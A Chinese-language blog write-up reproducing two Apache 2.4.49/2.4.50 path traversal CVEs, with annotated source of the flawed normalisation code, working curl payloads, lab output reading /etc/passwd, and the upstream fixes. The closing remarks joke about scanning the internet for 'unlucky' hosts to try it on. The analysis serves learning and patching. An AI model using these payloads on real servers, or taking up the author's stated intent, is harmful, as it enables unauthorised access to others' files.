CVE-2021-41773 && CVE-2021-42013拆解复现
CVE-2021-41773 && CVE-2021-42013
参考了这个师傅的WP https://www.jianshu.com/p/3076d9ec68cf
CVE-2021-41773
漏洞成因
Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径做过滤的时候没有过滤干净。
ap_normalize_path函数如下
/*
* Inspired by mod_jk's jk_servlet_normalize().
*/
AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
int ret = 1;
apr_size_t l = 1, w = 1;
if (!IS_SLASH(path[0])) {
/* Besides "OPTIONS *", a request-target should start with '/'
* per RFC 7230 section 5.3, so anything else is invalid.
*/
if (path[0] == '*' && path[1] == '\0') {
return 1;
}
/* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
* this restriction (e.g. for subrequest file lookups).
*/
if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
return 0;
}
l = w = 0;
}
// 遍历路径字符串,一边做url解码一边检测 '..',出现漏洞。
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
// 这一段是在做URL解码
// 检测到当前位为‘%’,接下来两位为十六进制数字就进入if
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]); // 将url编码转换为字符(16进制转char)
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
do {
l++;
} while (!IS_SLASH_OR_NUL(path[l]));
continue;
}
// 如果path[0]不是斜杠,且不是* 或者空串,w就会置为0。
// 如果w = 0 或者 paht[0]是斜杠,就进入循环。
if (w == 0 || IS_SLASH(path[w - 1])) {
/* Collapse ///// sequences to / */
//跳过连续的斜杠
if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
do {
l++;
} while (IS_SLASH(path[l]));
continue;
}
//如果检测到点号
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
// 如果点号的下一个还是点号,就要删一点了
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
}
path[w++] = path[l++];
}
path[w] = '\0';
return ret;
}
可以看到,漏洞的产生原因是其遍历一整个路径字符串,对每一位,先进行url解码,然后检测是不是当前位和下一位的组合是不是两个点..
他能检测出的情况如下
..
%2e. // 正在处理第一位,解码后发现是..组合
然而如果遇到这种情况
.%2e // 解码第一位,仍然是.%2e,没有检测到..组合
%2e%2e // 解码第一位,解成.%2e,仍然无法检测到..组合
payload
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
// 这里可以使用.%2e也可以使用%2e%2e
C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd * Trying 10.10.10.131:8080... * Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0) > GET /icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 > Host: 10.10.10.131:8080 > User-Agent: curl/7.79.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 17 Mar 2022 01:56:25 GMT < Server: Apache/2.4.49 (Debian) < Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT < ETag: "39a-5d908bac52000" < Accept-Ranges: bytes < Content-Length: 922 < root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin * Connection #0 to host 10.10.10.131 left intact C:\Users\19300>
修复
这里如果遍历两次字符串,先整体url解码,全部解码完了再进行敏感字符串检测就可以规避这个漏洞。这里原函数为了追求效率,在一遍遍历中对每个字符串解码再检测,反而出现了漏洞,可谓是得不偿失。
官方修复如下,直接是对这个情况做了一个特例处理。。俺没有开发经验,不敢乱说。
/* Remove /xx/../ segments (or /xx/.%2e/ when
* AP_NORMALIZE_DECODE_UNRESERVED is set since we
* decoded only the first dot above).
*/
n = l + 1;
if ((path[n] == '.' || (decode_unreserved
&& path[n] == '%'
&& path[++n] == '2'
&& (path[++n] == 'e'
|| path[n] == 'E')))
&& IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l = n + 1;
if (path[l]) {
l++;
}
continue;
}
CVE-2021-42013
Apache使用函数 ap_process_request_internal来处理外部请求
AP_DECLARE(int) ap_process_request_internal(request_rec *r)
{
.....
//调用 ap_normalize_path ,先对字符串进行解码。
if (r->parsed_uri.path) {
/* Normalize: remove /./ and shrink /../ segments, plus
* decode unreserved chars (first time only to avoid
* double decoding after ap_unescape_url() below).
*/
if (!ap_normalize_path(r->parsed_uri.path,
normalize_flags |
AP_NORMALIZE_DECODE_UNRESERVED)) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
"invalid URI path (%s)", r->unparsed_uri);
return HTTP_BAD_REQUEST;
}
}
.....
// 再调用 ap_unescape_url,对字符串解码过滤。
/* Ignore URL unescaping for translated URIs already */
if (access_status != DONE && r->parsed_uri.path) {
core_dir_config *d = ap_get_core_module_config(r->per_dir_config);
if (d->allow_encoded_slashes) {
access_status = ap_unescape_url_keep2f(r->parsed_uri.path,
d->decode_encoded_slashes);
}
else {
access_status = ap_unescape_url(r->parsed_uri.path);
}
if (access_status) {
if (access_status == HTTP_NOT_FOUND) {
if (! d->allow_encoded_slashes) {
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026)
"found %%2f (encoded '/') in URI path (%s), "
"returning 404", r->unparsed_uri);
}
}
return access_status;
}
.....
}
.....
开发为了保险起见,反复解码过滤,但是这反而弄巧成拙,造成二次编码注入。
%32e --> %2e --> .
%32 = 2
%2e = .
Payload
curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
C:\Users\19300>curl -v --path-as-is http://10.10.10.131:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
* Trying 10.10.10.131:8080...
* Connected to 10.10.10.131 (10.10.10.131) port 8080 (#0)
> GET /icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd HTTP/1.1
> Host: 10.10.10.131:8080
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 17 Mar 2022 05:09:50 GMT
< Server: Apache/2.4.49 (Debian)
< Last-Modified: Mon, 28 Feb 2022 00:00:00 GMT
< ETag: "39a-5d908bac52000"
< Accept-Ranges: bytes
< Content-Length: 922
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.10.10.131 left intact
修复
2.4.51版本中采用了白名单的机制,在ap_normalize_path中加强了对url编码的校验,只允许数字、字母及特定的符号编码,如果是白名单以外的url编码,就直接报错,不继续搞了
while (path[l] != '\0') {
/* RFC-3986 section 2.3:
* For consistency, percent-encoded octets in the ranges of
* ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
* period (%2E), underscore (%5F), or tilde (%7E) should [...]
* be decoded to their corresponding unreserved characters by
* URI normalizers.
*/
//就只允许上面注释写到的内容,如果存在这以外的内容,就直接报错。
if (decode_unreserved && path[l] == '%') {
if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (TEST_CHAR(c, T_URI_UNRESERVED)) {
/* Replace last char and fall through as the current
* read position */
l += 2;
path[l] = c;
}
}
else {
/* Invalid encoding */
ret = 0;
}
}
心得
这是我第一次复现CVE漏洞,对我还是有一些难度的,但后来查了下,发现有别人复现拆解过的文章,学习了他们的文章,我分析起来难度大大减小了,感觉很不错,很有成就感。(准备网络测绘找几个倒霉蛋试试 :-)